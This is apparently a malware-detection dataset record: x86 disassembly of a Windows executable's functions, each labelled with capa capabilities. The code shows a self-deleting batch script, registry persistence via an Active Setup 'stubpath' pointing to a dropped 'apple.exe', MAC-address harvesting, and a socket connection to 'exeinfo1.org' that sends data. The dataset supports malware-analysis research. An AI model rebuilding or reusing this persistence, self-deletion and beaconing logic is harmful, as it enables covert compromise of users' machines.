joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019e3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov eax, esi
add eax, 0xc8
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, esi
inc ecx
cdq
idiv ecx
mov ecx, dword [ebp - 4]
cdq
idiv ecx
mov dword [ebp - 0xc], eax
and dword [ebp - 8], 0
jmp 0x401b5c
or esi, esi
je 0x401a27
mov eax, dword [ebp - 8]
mov edx, eax
add edx, eax
mov dword [ebp - 0x18], edx
jmp 0x401a2d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 8], eax
jne 0x401a58
mov edi, dword [ebp + 0xc]
mov edx, esi
inc edx
imul edi, edx
mov edx, dword [ebp - 8]
mov ecx, esi
sar edx, cl
imul edx, dword [ebp - 4]
sub edi, edx
mov dword [ebp - 4], edi
cmp dword [ebp - 4], 0
je 0x401b6a
and dword [ebp - 0x14], 0
push esi
call fcn.0040155a
mov dword [ebp - 0x24], eax
mov edi, dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
mov eax, esi
mov dword [ebp - 0x34], eax
mov ecx, edi
or cl, 1
cdq
idiv ecx
mov dword [ebp - 0x3c], eax
mov edx, eax
add edi, eax
mov edx, dword [ebp - 0x38]
mov ecx, edx
mov edx, esi
shl edx, cl
mov ecx, dword [ebp - 0x38]
mov eax, ecx
add eax, edx
mov edx, dword [ebp - 4]
mov ecx, esi
shl edx, cl
push ecx
mov ecx, edx
cdq
idiv ecx
pop ecx
add edi, edx
mov dword [ebp - 0x1c], edi
movzx edx, byte [ebx + edi]
mov dword [ebp - 0x44], edx
mov eax, esi
mov dword [ebp - 0x40], eax
mov ecx, edx
or cl, 1
xor edx, edx
div ecx
mov dword [ebp - 0x48], eax
mov edi, dword [ebp - 0x44]
mov edx, eax
add edx, edi
mov byte [ebp - 0x25], dl
push esi
call fcn.0040155a
add esp, 8
mov dword [ebp - 0x2c], eax
mov edi, dword [ebp - 0x10]
or edi, esi
mov edx, eax
add eax, esi
mov edx, dword [ebp - 4]
mov ecx, esi
dec ecx
push edx
xchg ecx, edx
and ecx, edx
pop edx
cdq
idiv ecx
add edi, edx
mov dword [ebp - 0x20], edi
mov eax, edi
movzx edx, byte [ebx + eax]
mov ecx, edx
mov edi, esi
sar edi, cl
sub edx, edi
mov byte [ebp - 0x2d], dl
movzx eax, byte [ebp - 0x25]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x54], edx
mov eax, esi
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x4c]
or cl, 1
mul ecx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x58]
sub eax, edx
mov edx, dword [ebp - 0x54]
mov byte [ebx + edx], al
mov edi, dword [ebp - 0x1c]
movzx eax, byte [ebp - 0x2d]
mov ecx, esi
inc ecx
xor edx, edx
div ecx
mov dword [ebp - 0x5c], eax
mov edx, eax
mov byte [ebx + edi], dl
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x7e8
jl 0x401a66
inc dword [ebp - 8]
mov eax, dword [ebp - 0xc]
xor eax, esi
cmp dword [ebp - 8], eax
jle 0x401a17
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4016c0
Capabilities:
Create thread
Terminate thread

Disassembly:
sub esp, 0x28
call fcn.004012f0
test al, al
jne 0x40187e
mov eax, dword [str.Mode]
push esi
push eax
xor eax, eax
call fcn.00401000
mov esi, eax
add esp, 4
cmp esi, 3
jae 0x401875
cmp esi, 2
je 0x401875
push edi
mov edi, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ecx
call fcn.004011e0
add esp, 4
test eax, eax
mov dword [0x4083f0], eax
je 0x40186b
call fcn.00401070
test al, al
jne 0x401854
push 0x401110
push 0x1f4
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov edi, eax
test edi, edi
mov dword [esp + 8], edi
je 0x401854
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [0x4083f4], eax
je 0x40184b
push 0x4083d8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor eax, eax
cmp esi, 1
sete al
lea edx, [esp + 0x10]
push edx
push 0
mov byte [0x4083fc], 0
push eax
push 0x401390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [0x4083f8], eax
je 0x401829
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
call esi
test eax, eax
je 0x4017e9
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
push ebp
mov ebp, dword [sym.imp.USER32.dll_TranslateMessage]
cmp eax, 0xffffffff
je 0x4017e4
lea edx, [esp + 0x18]
push edx
call ebp
lea eax, [esp + 0x18]
push eax
call edi
push 0
push 0
push 0
lea ecx, [esp + 0x24]
push ecx
call esi
test eax, eax
jne 0x4017c0
mov edi, dword [esp + 0xc]
pop ebp
call fcn.00401140
mov edx, dword [0x4083f8]
push 0x1388
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401812
mov eax, dword [0x4083f8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [0x4083f8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4083f8], 0
mov edx, dword [0x4083f4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4083d8
mov dword [0x4083f4], 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push edi
push 0
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x34]
push eax
mov eax, dword [0x4083f0]
push ecx
call fcn.004012c0
add esp, 8
pop edi
xor eax, eax
pop esi
add esp, 0x28
ret 0x10
xor eax, eax
pop esi
add esp, 0x28
ret 0x10
xor eax, eax
add esp, 0x28
ret 0x10

Function at 0x401960
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x401983
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 8]
mov dword [esi], ecx
mov eax, ecx
pop esi
add esp, 0x24
ret
mov eax, dword [esi]
pop esi
add esp, 0x24
ret
Function at 0x401a60
Capabilities:
Read file via mapping

Disassembly:
push ecx
push esi
mov esi, eax
call fcn.00401990
test al, al
je 0x401b28
cmp byte [ebx], 0
jne 0x401b28
cmp dword [ebx + 4], 0
jne 0x401aae
cmp byte [esp + 0xc], 0
mov eax, 2
je 0x401a91
mov eax, 0x1000002
push 0
push 0
push 0
push eax
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [ebx + 4], eax
jne 0x401aae
mov byte [ebx], 1
mov eax, dword [ebx + 4]
test eax, eax
je 0x401b28
cmp dword [ebx + 8], 0
jne 0x401b28
push 0
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
mov dword [ebx + 8], eax
jne 0x401adc
test eax, eax
mov byte [ebx], 1
setne al
pop esi
pop ecx
ret
push edi
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
call fcn.004019e0
add esp, 8
test al, al
pop edi
je 0x401b14
mov eax, dword [esp + 4]
test eax, eax
je 0x401b14
mov edx, dword [ebx + 8]
lea eax, [edx + eax - 1]
mov dword [ebx + 0xc], eax
xor eax, eax
test edx, edx
setne al
pop esi
pop ecx
ret
mov ecx, dword [ebx + 8]
push ecx
mov byte [ebx], 1
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebx + 8], 0
xor eax, eax
cmp dword [ebx + 8], eax
pop esi
setne al
pop ecx
ret

Function at 0x401b40
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop ebp
ret

Function at 0x401b60
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x4083a4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
jbe 0x401bee
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xffffffff
je 0x401bee
mov dword [ebp - 0x150], 1
jmp 0x401bba
mov ecx, dword [ebp - 0x150]
add ecx, 1
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x150]
cmp edx, dword [ebp + 0xc]
jae 0x401be1
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401bdf
jmp 0x401be1
jmp 0x401bab
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040398c
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx + 4], 0
jg 0x401f4e
jl 0x401f32
mov edx, dword [ebp - 0x1c]
cmp dword [edx], 0x7fffffff
ja 0x401f4e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 4], 0xffffffff
jg 0x401f53
jl 0x401f4e
mov edx, dword [ebp - 0x20]
cmp dword [edx], 0x80000001
jae 0x401f53
jmp 0x401fe5
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx + 8]
neg eax
sbb eax, eax
and eax, 0xfffffffe
add eax, 2
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x401fe5
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0xc]
jae 0x401fe5
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp + 0x14]
push edx
call fcn.00401dc0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401fd8
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x10]
jae 0x401fda
jmp 0x401fe5
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x401f88
mov esp, ebp
pop ebp
ret
Function at 0x4031e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x404651
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4083a4]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
xor ebx, ebx
mov dword [esi + 0x24], ebx
mov dword [esp + 0x20], ebx
mov dword [esi + 0x2c], ebx
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x30]
mov ebp, dword [esp + 0x34]
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esi], eax
mov eax, dword [esp + 0x38]
mov dword [esi + 0x14], ecx
mov cl, byte [esp + 0x48]
cmp cl, bl
mov dword [esi + 8], edx
mov edx, dword [esp + 0x40]
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x44]
mov byte [esp + 0x20], 1
mov dword [esi + 0xc], ebp
mov dword [esi + 0x18], edx
mov dword [esi + 0x1c], eax
mov byte [esi + 0x20], cl
mov dword [esi + 0x30], ebx
jne 0x4032c4
xor edi, edi
cmp eax, ebx
mov dword [esp + 0x48], edi
jbe 0x403291
lea ecx, [edx + 0xc]
mov edx, eax
mov eax, dword [ecx]
cmp eax, edi
jbe 0x403278
mov edi, eax
add ecx, 0x10
sub edx, 1
jne 0x403270
cmp edi, 0x100000
mov dword [esp + 0x48], edi
mov eax, 0x4065a8
ja 0x403295
lea eax, [esp + 0x48]
mov eax, dword [eax]
mov dword [esi + 0x28], eax
add eax, 0xa
push eax
call fcn.0040397b
mov edi, eax
mov eax, dword [esi + 0x24]
add esp, 4
cmp eax, edi
je 0x4032bb
push eax
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
mov dword [esi + 0x24], edi
push ebx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
xor ecx, ecx
mov eax, ebp
mov edx, 0x44
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.0040397b
add esp, 4
mov dword [esp + 0x48], eax
cmp eax, ebx
mov byte [esp + 0x20], 2
je 0x403312
push 0x402410
push 0x4023d0
push ebp
lea edi, [eax + 4]
push 0x44
push edi
mov dword [eax], ebp
call fcn.00403ac3
jmp 0x403314
xor edi, edi
mov eax, dword [esi + 0x2c]
cmp eax, edi
mov byte [esp + 0x20], 1
je 0x403344
cmp eax, ebx
je 0x403341
mov ecx, dword [eax - 4]
lea ebx, [eax - 4]
push 0x402410
push ecx
push 0x44
push eax
call fcn.00403a60
push ebx
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
add esp, 4
mov dword [esi + 0x2c], edi
mov ecx, esi
call fcn.00402e70
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x24

Function at 0x40398c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4083a4]
jne 0x403996
repz ret
jmp fcn.00403e3e
Function at 0x40202e
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00403fd8
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40d924]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40d8d8]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push 0x40a9ac
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00403fd8
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402160
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00404450
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402160
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4021f6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402260
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402260
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404450
cmp eax, 0x26
pop ecx
je 0x402260
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.00403f80
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x402264
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022b7
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4022b7
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00404450
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4022bb
xor eax, eax
jmp 0x4022c5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x4022c9
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404820
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d928]
test eax, eax
pop edi
jne 0x402393
lea eax, [ebp - 0x108]
push eax
call fcn.00404450
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402397
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d92c]
push 1
pop eax
leave
ret

Function at 0x40269d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404820
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004021f6
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d94c
call dword [0x40d938]
test eax, eax
pop edi
je 0x402734
lea eax, [ebp - 0x208]
push eax
call fcn.004022c9
pop ecx
leave
ret
Function at 0x403346
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.00403f80
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403420
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.00403fd8
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4033cc
push str.socket_Error
jmp 0x403413
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.00403f80
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x40341e
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x403420
mov eax, esi
pop esi
leave
ret

Function at 0x403423
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.00403f80
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.00404450
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x40346e
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x403488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x760
call fcn.0040120b
call fcn.0040329f
call fcn.004032d7
test eax, eax
mov dword [0x40d904], 0x40a030
jne 0x4034b8
mov dword [0x40d904], 0x40a0b0
lea eax, [ebp - 0x360]
push ebx
push eax
push 0x104
call dword [0x40d948]
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x25c]
push str._s_ver.exe
push eax
call fcn.00403fd8
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x25c]
push 4
push ebx
push eax
call dword [0x40d944]
call fcn.004021de
test eax, eax
jne 0x40354d
push 0x400
lea eax, [ebp - 0x760]
push ebx
push eax
call fcn.00403f80
lea eax, [ebp - 0x760]
push eax
call fcn.00403cf7
push 0x50
push str.exeinfo1.org
call fcn.00403346
lea ecx, [ebp - 0x760]
push ebx
push ecx
push eax
call fcn.00403423
add esp, 0x24
call fcn.0040320c
call fcn.0040202e
xor eax, eax
jmp 0x40360c
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4035c6
push str.start
push dword [ebp + 0x10]
call fcn.00404390
pop ecx
test eax, eax
pop ecx
je 0x4035c6
push edi
call fcn.00403277
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
push eax
push 0x40d94c
call fcn.004021f6
lea eax, [ebp - 0x158]
push eax
call fcn.00404450
add esp, 0xc
cmp eax, 0x26
pop edi
jne 0x4035bc
lea eax, [ebp - 0x158]
push eax
call fcn.0040247d
pop ecx
call fcn.0040320c
push 1
pop eax
jmp 0x40360c
push esi
push 0x44
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00403f80
mov esi, 0x40d94c
push str.__start
push esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 5
call fcn.00404820
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403611
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x284]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4036aa
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4036b3
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4036a3
mov eax, dword [0x40ea50]
mov ecx, dword [esi + 0x190]
lea edx, [ecx + eax]
cmp edx, 0x1000
jae 0x40369d
push ecx
lea ecx, [esi + 0x194]
lea eax, [eax + 0x40da50]
push ecx
push eax
call fcn.004044d0
mov eax, dword [0x40ea50]
add esp, 0xc
add eax, dword [esi + 0x190]
mov dword [0x40ea50], eax
mov esi, dword [esi]
test esi, esi
jne 0x40365f
push 1
pop eax
pop esi
leave
ret
add eax, 0xf0000000
jmp 0x4036af
add eax, 0xe0000000
test eax, eax
je 0x40369d
xor eax, eax
jmp 0x4036a0